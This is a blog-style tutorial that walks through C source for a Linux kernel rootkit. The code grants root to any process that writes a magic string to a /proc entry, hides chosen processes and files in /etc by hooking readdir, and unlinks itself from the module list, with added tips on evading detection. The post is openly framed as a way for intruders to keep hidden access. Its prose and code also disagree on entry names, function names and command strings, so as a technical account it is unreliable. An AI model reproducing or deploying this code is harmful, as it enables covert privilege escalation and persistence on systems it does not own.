Writing a Simple Rootkit

Introduction

In this article, I will explain how to develop a basic rootkit specifically for the Linux kernel, focusing on a Kernel rootkit. However, to comprehend the content presented here, it is necessary to have knowledge of writing Linux kernel modules. If you are unfamiliar with this topic, you can refer to the following resources: Kernel modules — The Linux Kernel documentation

What Exactly is a Rootkit?

When someone breaches a system, they often want to maintain access to it for future use. By installing a rootkit on the system, they can acquire administrator privileges whenever necessary. Effective rootkits are designed to remain hidden within the compromised system, making them difficult for administrators to detect. There are various techniques for achieving this concealment, but in this article, we’ll focus specifically on Linux rootkits. We’ll provide a general overview of how this rootkit operates, present its code, and then delve into the details of its functionality.

When a user sends the correct command to the rootkit, they will gain root privileges. Another command will allow the user to hide a process. To safely unload the rootkit (without any errors), it will have functions that make the rootkit visible, etc. We will describe them shortly. Another function will allow the user to “unhide” the last hidden process.

Rootkit’s Inner Workings

Rootkit’s Inner Workings

Now, let’s see what functions will be called during the loading of the rootkit:

  • module_remember_info(): This function saves some information about the rootkit to make it possible to unload it later.
  • proc_init(): This is a crucial function that enables sending commands to the rootkit.
  • module_hide(): This function hides the rootkit.
  • tidy(): This function performs cleanup. If we don’t do this, there will be errors during the unloading of the rootkit.
  • rootkit_protect(): This simple function makes it impossible to unload the rootkit by the “rmmod rootkit” command, even if it is visible. However, it is still possible to unload it using “rmmod -f rootkit” if the kernel was compiled with support for forced unloading modules.

Now, let’s describe those functions in detail:

procfs_init():

As already mentioned, this function enables sending commands to the rootkit. Initially, I wanted to create an entry in /proc and then hide it to prevent detection by the “readdir” syscall. However, this approach was not effective, as the rootkit could still be found from kernel mode by browsing the list of entries in /proc. So, what did I do? The rootkit finds an existing entry (for example, /proc/version) and replaces its existing functions (like read_proc and write_proc) with other functions. Commands are sent to the rootkit by reading from or writing to this “infected” entry.

You might ask: “By reading or writing, or both?” It depends on the functions the infected entry had. If it only had a writing function, we replace it. Why not create a function for reading? Because it would be suspicious if an entry suddenly gained a writing function. We have to avoid detection - the administrator cannot detect us! If the entry had only a reading function, we replace it. If it had both reading and writing functions, we replace only the writing function.

So, how do we pass commands to that entry? When the writing function was replaced, you simply write the correct command to that entry. You can do this using “echo” or similar programs. However, if you want to gain root privileges, you must write your own program that writes to that entry and then uses the execve syscall to run a shell.

If the reading function was replaced, you must write a special program. What does it have to do? It must read from that entry using the read syscall. One of the parameters of this function is a pointer to the buffer where the data has to be written. To pass a command to our entry, you must save that command in a buffer. Then, you provide the pointer to that buffer as a parameter of the read syscall.

// MODULE HELPERS
void module_hide(void) { ... }
void tidy(void) { ... }

// PAGE RW HELPERS
static void set_addr_rw(void *addr) { ... }
static void set_addr_ro(void *addr) { ... }

// CALLBACK SECTION
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { ... }
static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { ... }
static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { ... }
static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { ... }
static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data) { ... }
static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) { ... }

// INITIALIZING/CLEANING HELPER METHODS SECTION
static void procfs_clean(void) { ... }
static void fs_clean(void) { ... }

// MODULE INIT/EXIT
static int __init procfs_init(void) { ... }
static int __init fs_init(void) { ... }

// MODULE INIT/EXIT
static int __init rootkit_init(void) { ... }
static void __exit rootkit_exit(void) { ... }
module_init(rootkit_init);
module_exit(rootkit_exit);

module_hide and tidy are responsible for hiding and showing the rootkit module in the Linux kernel. They achieve this by manipulating the module’s linked list and kernel object. When module_hide is called, it removes the module from the kernel’s module list and deletes its kernel object, effectively hiding the module. Conversely, tidy restores the module’s visibility by adding it back to the module list.

hide(): In this function, we hide the rootkit. The first problem is that the rootkit is displayed by the “lsmod” command and is visible in the /proc/modules file. To solve this problem, we can delete our module from the main list of modules. Each module is represented by a module structure.

Next, we have set_addr_rw and set_addr_ro, which manipulate the page permissions of a given address. The set_addr_rw function sets the page to read-write mode, allowing modifications, while set_addr_ro sets the page back to read-only mode.

// PAGE RW HELPERS
static void set_addr_rw(void *addr)
{
	unsigned int level;
	pte_t *pte = lookup_address((unsigned long) addr, &level);
	if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
}

static void set_addr_ro(void *addr)
{
	unsigned int level;
	pte_t *pte = lookup_address((unsigned long) addr, &level);
	pte->pte = pte->pte &~_PAGE_RW;
}

Next is the Callback Section, introducing novel implementations for the filldir and readdir functions, governing the visibility of files and directories within the /proc and /etc filesystems through the application of specific filtering mechanisms.

Firstly, the proc_filldir_new function is designed to filter entries within the /proc filesystem. It achieves this by iterating through a designated list of process IDs (pids_to_hide) and concealing processes whose IDs match those in the list. Additionally, this function ensures the invisibility of the entry named “rtkit.” A return value of 0 signifies the intention to hide the entry, while a non-zero value triggers a call to the original proc_filldir_orig function, thereby preserving visibility.

The subsequent function, proc_readdir_new, supersedes the native /proc directory reading function (readdir). By employing the new proc_filldir_new function, it directs the behavior of the original function. Specifically, it sets the original filldir function to proc_filldir_orig and invokes the original proc_readdir_orig with the new proc_filldir_new function as an argument, ultimately returning the result of the original directory reading operation.

// CALLBACK SECTION
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
	int i;
	for (i=0; i < current_pid; i++) {
		if (!strcmp(name, pids_to_hide[i])) return 0;
	}
	if (!strcmp(name, "rtkit")) return 0;
	return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
}

static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir)
{
	proc_filldir_orig = filldir;
	return proc_readdir_orig(filp, dirent, proc_filldir_new);
}

Moving to the fs_filldir_new function, its primary objective is to filter entries within the /etc filesystem. When the hide_files flag is activated, this function conceals files bearing names prefixed with “__rt” or “10-__rt.” A return value of 0 signifies the intent to hide the entry, while a non-zero value triggers a call to the original fs_filldir_orig function, thus maintaining visibility.

The fs_readdir_new function, responsible for superseding the original /etc directory reading function (readdir), incorporates the new fs_filldir_new function. It sets the original filldir function to fs_filldir_orig and invokes the original fs_readdir_orig with the new fs_filldir_new function as an argument, culminating in the return of the original directory reading operation’s result.

static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data)
{
	int size;
	
	sprintf(module_status, 
"RTKIT\n\
DESC:\n\
  hides files prefixed with __rt or 10-__rt and gives root\n\
CMNDS:\n\
  mypenislong - uid and gid 0 for writing process\n\
  hpXXXX - hides proc with id XXXX\n\
  up - unhides last process\n\
  thf - toogles file hiding\n\
  mh - module hide\n\
  ms - module show\n\
STATUS\n\
  fshide: %d\n\
  pids_hidden: %d\n\
  module_hidden: %d\n", hide_files, current_pid, module_hidden);

	size = strlen(module_status);

	if (off >= size) return 0;
  
	if (count >= size-off) {
		memcpy(buffer, module_status+off, size-off);
	} else {
		memcpy(buffer, module_status+off, count);
	}
  
	return size-off;
}

static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data)
{
	if (!strncmp(buff, "fooshere", MIN(11, count))) { //changes to root
		struct cred *credentials = prepare_creds();
		credentials->uid = credentials->euid = 0;
		credentials->gid = credentials->egid = 0;
		commit_creds(credentials);
	} else if (!strncmp(buff, "hp", MIN(2, count))) {//upXXXXXX hides process with given id
		if (current_pid < MAX_PIDS) strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2));
	} else if (!strncmp(buff, "up", MIN(2, count))) {//unhides last hidden process
		if (current_pid > 0) current_pid--;
	} else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs
		hide_files = !hide_files;
	} else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide
		module_hide();
	} else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide
		tidy();
	}
	
        return count;
}

The rtkit_read function manages read operations on the rootkit’s /proc entry, furnishing information about the rootkit’s status. This function generates a status message (module_status) encompassing details on file hiding, concealed processes, and module visibility. The return value is determined by the size of the status message or 0 if the offset exceeds the message size.

Concluding the section, the rtkit_write function handles write operations on the rootkit’s /proc entry, interpreting and executing commands. It processes commands such as altering user privileges, hiding/unhiding processes, toggling file hiding, and module hiding/showing. The return value reflects the number of bytes processed.

Initialization/Exit functionality

The rootkit’s establishment and termination processes play a pivotal role in ensuring its seamless integration and removal from the system during module loading and unloading. Delving into the specifics, let’s provide a comprehensive overview of the essential functionalities within this segment:

The procfs_clean function serves the purpose of reversing alterations made during the rootkit’s initialization for the /proc filesystem. Its actions include the removal of the “rtkit” entry from the /proc filesystem and the restoration of the original readdir function.

Similarly, the fs_clean function takes on the responsibility of undoing modifications introduced during the rootkit’s initialization for the /etc filesystem. Specifically, it reverts the readdir function in the /etc filesystem to its original state.

Moving on to the procfs_init function, it is designed to initialize the rootkit for the /proc filesystem. This involves creating a new entry named “rtkit” with appropriate permissions, ensuring its correct placement in the /proc filesystem, and assigning custom read and write functions. Additionally, the function substitutes the original readdir function with a customized version, proc_readdir_new.

For the /etc filesystem, the fs_init function undertakes the task of initializing the rootkit by acquiring the file operations structure and substituting the readdir function with a custom implementation, fs_readdir_new.

The primary initialization function, rootkit_init, takes charge of orchestrating the setup of the entire rootkit. It calls both procfs_init and fs_init functions, conceals the rootkit module using module_hide, and in case of any initialization failure, triggers cleanup through procfs_clean and fs_clean functions.

Lastly, the rootkit_exit function and the module_init(rootkit_init) macro collectively ensure the execution of cleanup operations when the rootkit module is unloaded. The rootkit_exit function calls both procfs_clean and fs_clean functions to revert any changes made during the initialization process. The module_init(rootkit_init) macro specifies that the rootkit_init function should be executed upon loading the module. Conversely, the module_exit(rootkit_exit) macro specifies that the rootkit_exit function should be executed when the module is unloaded, thus ensuring a comprehensive setup and cleanup lifecycle for the rootkit.

// INITIALIZING/CLEANING HELPER METHODS SECTION
static void procfs_clean(void)
{
	if (proc_rtkit != NULL) {
		remove_proc_entry("rtkit", NULL);
		proc_rtkit = NULL;
	}
	if (proc_fops != NULL && proc_readdir_orig != NULL) {
		set_addr_rw(proc_fops);
		proc_fops->readdir = proc_readdir_orig;
		set_addr_ro(proc_fops);
	}
}
	
static void fs_clean(void)
{
	if (fs_fops != NULL && fs_readdir_orig != NULL) {
		set_addr_rw(fs_fops);
		fs_fops->readdir = fs_readdir_orig;
		set_addr_ro(fs_fops);
	}
}

static int __init procfs_init(void)
{
	//new entry in proc root
	proc_rtkit = create_proc_entry("rtkit", 0444, NULL);
	if (proc_rtkit == NULL) return 0;
	proc_root = proc_rtkit->parent;
	if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {
		return 0;
	}
	proc_rtkit->read_proc = rtkit_read;
	proc_rtkit->write_proc = rtkit_write;
	
	//substitute proc readdir to our wersion (using page mode change)
	proc_fops = ((struct file_operations *) proc_root->proc_fops);
	proc_readdir_orig = proc_fops->readdir;
	set_addr_rw(proc_fops);
	proc_fops->readdir = proc_readdir_new;
	set_addr_ro(proc_fops);
	
	return 1;
}

static int __init fs_init(void)
{
	struct file *etc_filp;
	
	//get file_operations of /etc
	etc_filp = filp_open("/etc", O_RDONLY, 0);
	if (etc_filp == NULL) return 0;
	fs_fops = (struct file_operations *) etc_filp->f_op;
	filp_close(etc_filp, NULL);
	
	//substitute readdir of fs on which /etc is
	fs_readdir_orig = fs_fops->readdir;
	set_addr_rw(fs_fops);
	fs_fops->readdir = fs_readdir_new;
	set_addr_ro(fs_fops);
	
	return 1;
}

// MODULE INIT/EXIT
static int __init rootkit_init(void)
{
	if (!procfs_init() || !fs_init()) {
		procfs_clean();
		fs_clean();
		return 1;
	}
	module_hide();
	
	return 0;
}

static void __exit rootkit_exit(void)
{
	procfs_clean();
	fs_clean();
}

module_init(rootkit_init);
module_exit(rootkit_exit);

Conclusion

That’s it for now, Hope you learned something, You may be wondering, “Why is everything in the rootkit defined as ‘static’?” Well, things defined as static aren’t exported to kallsyms, making the rootkit harder to detect. Thank you for reading. Until next time!

References:

WRITING A SIMPLE ROOTKIT FOR LINUX